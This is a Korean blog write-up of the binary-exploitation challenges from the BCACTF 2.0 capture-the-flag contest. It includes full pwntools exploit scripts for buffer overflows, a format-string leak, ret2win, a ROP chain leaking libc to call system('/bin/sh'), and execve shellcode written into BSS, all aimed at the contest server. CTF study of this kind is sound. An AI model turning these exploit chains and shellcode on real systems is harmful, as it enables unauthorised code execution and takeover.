CTF/Write UPs

[BCACTF 2.0 : binex] 내가 푼 문제들 풀이 (포넙 올클!) (예약글, 6/14 09:30 공개)

jir4vvit 2021. 6. 14. 09:30
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

BCA Mart

일정 금액의 money를 주고 그 money보다 많은 flag를 구매해야 하는 문제
이런 문제일 경우, 보통 음수로 입력하거나 int 최댓값 뭐 이런거 입력하면 바로 풀린다.

amount 입력할 때 int 최대값 입력해서 내 money를 늘릴 수 있다.

Honors ABCs

진심 이게 젤 어려웠음 ㅎㅎ;

gets로 인한 BOF
for문에서 response에 대한 값을 뭐 검증한 후, 밑의 if문 로직에서 grade 변수의 값에 따라 flag를 준다.

내가 한 삽질
처음에 BOF가 일어나서 grade 변수 부분의 값을 flag출력되는 조건에 맞게 변조시키려고 했으나, 내가 입력한 후 for문 안에서 grade 변수가 새롭게 정의?되면서.. 자꾸 값이 또 바뀌었다.
굳이 response와 correct이 안같아도 되는데 같게 주면서 i가 25가 되고, 그 덕분에 grade는 100이 되어 if(grade==100)에 들어갔다.

익스 방법
내가 가장 잘못한 생각은, 왜 굳이 response와 correct을 같게 주어 for문 안에서 굳이굳이 i를 ++시켜 grade값을 재정의 하냐는 것이다. 그냥 다르게 줘서 계속 break가 되어 grade를 재정의하지 않고 for문을 빠져나오면 된다.
결론은 response에 입력을 할 때 BOF가 일어나니, 그냥 A로 다 덮으면 된다.

from pwn import *

p = process('./honors-abcs')
p= remote('bin.bcactf.com', 49155)

payload = ''
#payload += 'abcdefghijklmnopqrstuvwxyz'
payload += 'A' * 0x50

pause()
p.sendlineafter(': ', payload)

p.interactive()

AP ABCs

gets로 인한 BOF
이전 문제랑 달라진 점은 그냥 for문 안의 if문이다.

from pwn import *

#p = process('./ap-abcs')
p = remote('bin.bcactf.com', 49154)

payload = ''
payload += 'cc'
payload += 'c'* (0x50-0x8+2)
payload += 'ABCs'
pause()
p.sendlineafter(': ', payload)

p.interactive()

마지막에 ABCs 대신 p32(0x73434241)로 보내는 것이 조금 더 일반적인 방법이긴 하다.

American Literature

FSB가 터진다.

7b = {
7d = }
를 이용해서 flag 범위만큼 출력을 해주고, 저 16진수들을 가져와서 코딩해주면 된다.


def ff(a):
    flag = ''
    b = a.split('0x')
    for i in range(0, len(b)):
        flag += b[i].decode('hex')[::-1]

    print(flag)
    return flag

a = "0x747b667463616362"
b = '0x6e5f796c6c61746f'
c = '0x6f6c706d655f746f'
d = '0x6568745f676e6979'
e = '0x5f666f5f6573755f'
f = '0x5f636972656e6567'
g = '0x6f745f7364726f77'
h = '0x745f68636165725f'
i = '0x69757165725f6568'
j = '0x64726f775f646572'
k = '0x6e5f74696d696c5f'
l = '0x5f746f6e5f65706f'
m = '0x007d656d'

ff(a)
ff(b)
ff(c)
ff(d)
ff(e)
ff(f)
ff(g)
ff(h)
ff(i)
ff(j)
ff(k)
ff(l)
ff(m)

ㅎ코드가 좀 많이 지저분하긴 하다 ㅎ;

Math Analysis

이름만 보고 수학문제인 줄 알았다.
gets로 인한 BOF
cheat이라는 flag를 주는 함수가 있는데, 그냥 RET를 얘로 바꾸면 된다. 1번문제 제외하고 이게 젤 쉬웠다.

from pwn import *

#p = process('./analysis')
p = remote('bin.bcactf.com', 49158)

payload = ''
payload += 'A' * 0x40
payload += 'B' * 8
payload += p64(0x401256)

p.sendlineafter('> ', payload)


p.interactive()

Advanced Math Analysis

이전에 있던 문제보다 살짝 복잡해졌다. (RET를 flag주는 함수로 변조해야하는건 똑같음)
strcmp함수로 내가 적은 값을 비교하는데, if문 안으로 들어가면 exit()함수가 실행되어 강종되기 때문에 우리는 노란색 네모가 있는 곳으로 가야한다.
그럴려면 response에 i pledge ~ 값을 적어주어야 한다.
그리고 모름지기 str이라면 맨 마지막에 \x00이 와야하는 것을 잊지 말자. (난 안잊고 잘 풀었지롱 ㅎㅎ;;;ㅎ..)

from pwn import *

#p = process('./adv-analysis')
p = remote('bin.bcactf.com', 49156)

payload = ''
payload += 'i pledge to not cheat'
payload += '\x00' * (0x40 - len(payload))
payload += '\x00' * 8
payload += p64(0x401216)
pause()
p.sendlineafter('> ',payload)

p.interactive()

Discrete Mathematics

다양한 생각을 할 수 있게 해준 문제이다.
풀이는 두가지가 존재한다.

아래는 문제 코드.

#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int knows_logic = 0; int knows_algebra = 0; int knows_functions = 0; void logic() { int p, q, r, s; printf("p: "); scanf("%d", &p); printf("q: "); scanf("%d", &q); printf("r: "); scanf("%d", &r); printf("s: "); scanf("%d", &s); knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s; } void algebra() { int x, y, z; printf("x: "); scanf("%d", &x); printf("y: "); scanf("%d", &y); printf("z: "); scanf("%d", &z); int eq1 = 5*x - 6*y + 3*z; int eq2 = 2*x + 5*y - 7*z; int eq3 = 4*x + 8*y + 8*z; knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28); } void functions() { int a, b, c; printf("a: "); scanf("%d", &a); printf("b: "); scanf("%d", &b); printf("c: "); scanf("%d", &c); int vertex_x = -b / (2*a); int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c; int discriminant = b * b - 4 * a * c; knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16); } void quiz() { FILE *fp = fopen("flag.txt", "r"); char flag[100]; if (fp == NULL) { puts("Sorry, all my stuff's a mess."); puts("I'll get around to grading your quiz sometime."); puts("[If you are seeing this on the remote server, please contact admin]."); exit(1); } fgets(flag, sizeof(flag), fp); if (knows_logic && knows_algebra && knows_functions) { puts("Alright, you passed this quiz."); puts("Here's your prize:"); puts(flag); } else { puts("Not there yet..."); puts("Study some more!"); } } int main() { char response[50]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Discrete."); puts("The top math track."); puts("The best BCA students."); puts("The crème de la crème."); puts("We have high expectations."); puts("Answer all the questions correctly."); puts("Do not disappoint us."); printf("> "); gets(response); if (strcmp(response, "i will get an A")) { puts("I'm sorry, but you obviously don't care about grades."); puts("Therefore, you aren't motivated enough to be in our class."); puts("Goodbye."); exit(1); } puts("Your quiz have been posted to Schoology."); puts("You have twenty minutes."); puts("Good luck."); }

풀이 1

이전문제와 같이 RET를 flag를 주는 함수로 덮어야 하는 것은 변함없다.
하지만 flag 주는 함수 안에 전역변수 3개가 &&연산으로 전부다 0이 아닌값이 와야 한다.,.
전역변수 값을 바꾸어 주면된다.
지역변수도 아닌데 전역변수를 어떻게 bof만으로 바꾸어주지..?라고 생각할 수도 있다.
이 문제에서 gets함수로 BOF가 터지기 때문에, 글자수는 넉넉하고, gets함수 가젯 또한 주어져 있기 때문에 (이걸 가젯으로 표현하는지는 잘 모르겠다 ㅎ..) gets(전역변수)로 연계해서 값을 입력해주면 된다.

from pwn import *

context.log_level = "DEBUG"

#p = process('./discrete')
p = remote('bin.bcactf.com', 49160)
e = ELF('./discrete')

pop_rdi = 0x4017a3
knows_lo = 0x4040ac
knows_al = 0x4040b0
knows_fu = 0x4040b4

gets_off = e.symbols['gets']

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x40-len(payload))
payload += 'B' * 8
payload += p64(pop_rdi)
payload += p64(knows_lo)
payload += p64(gets_off)
payload += p64(e.symbols['main'])

p.sendlineafter('> ', payload)
p.sendline('1')

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x40-len(payload))
payload += 'B' * 8
payload += p64(pop_rdi)
payload += p64(knows_al)
payload += p64(gets_off)
payload += p64(e.symbols['main'])

p.sendlineafter('> ', payload)
p.sendline('1')

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x40-len(payload))
payload += 'B' * 8
payload += p64(pop_rdi)
payload += p64(knows_fu)
payload += p64(gets_off)
payload += p64(e.symbols['main'])

pause()
p.sendlineafter('> ', payload)
p.sendline('1')

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x40-len(payload))
payload += 'B' * 8
payload += p64(e.symbols['quiz'])

p.sendlineafter('> ', payload)

p.interactive()

풀이 2

항상 잊으면 안되는게.. ROP이다.
libc database에서 db 버전 구해서 하면 된다.

from pwn import *

#p = process('./discrete')
p = remote('bin.bcactf.com', 49160)
e= ELF('./discrete')
#libc = e.libc

pop_rdi = 0x4017a3
pop_rsi = 0x4017a1
ret = 0x40101a

gets_off = e.symbols['gets']
puts_off = 0x4010c0

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x40-len(payload))
payload += 'B' * 8

payload += p64(pop_rdi)
payload += p64(e.got['gets'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])

pause()
p.sendlineafter('> ', payload)
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('leak :: ' + hex(leak_addr))
#libc_base = leak_addr - libc.symbols['gets']
#log.info('libc_base :: ' + hex(libc_base))

#system_offset = libc.symbols['system']
#binsh_offset = libc.search('/bin/sh').next()

#system_addr = libc_base + system_offset
#binsh_addr = libc_base + binsh_offset 

system_addr = leak_addr - 0x316e0
binsh_addr = leak_addr + 0x130aba

log.info('system_addr :: ' + hex(system_addr))
log.info('binsh_addr :: ' + hex(binsh_addr))

payload = ''
payload += 'i will get an A'
payload += '\x00' * (0x48-len(payload))

payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

#pause()
p.sendlineafter('> ', payload)




p.interactive()

Computer Security

300points나 하는 문제인데 풀이 방법이 너무나 다양하고 어떻게 풀어도 될 듯하다.
gets함수로 인해 BOF도 터지고, 심지어는 FSB도 터진다.
더 놀라운건 보호기법은 아무것도 걸려있지 않다.

그래서 걍 BSS 영역에 쉘코드 넣어서 실행시켰다.

from pwn import *

#p = process('./notesearch')
p = remote('bin.bcactf.com', 49159)
e = ELF('./notesearch')

pop_rdi = 0x401703
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


payload = ''
payload += 'A' * 0x78
payload += p64(pop_rdi)
payload += p64(e.bss()+0x500)
payload += p64(e.symbols['gets'])
payload += p64(e.bss()+0x500)

p.sendlineafter(': ', payload)
pause()
p.sendline(shellcode)

p.interactive()

여기서 가장 중요한 사실은 BSS영역에 쉘코드를 바로 넣으면 안된다.

왜냐하면 BSS 영역 초반에는 stdin, stdout 같은 중요한 것들이 많이 저장되어 있기 때문이다.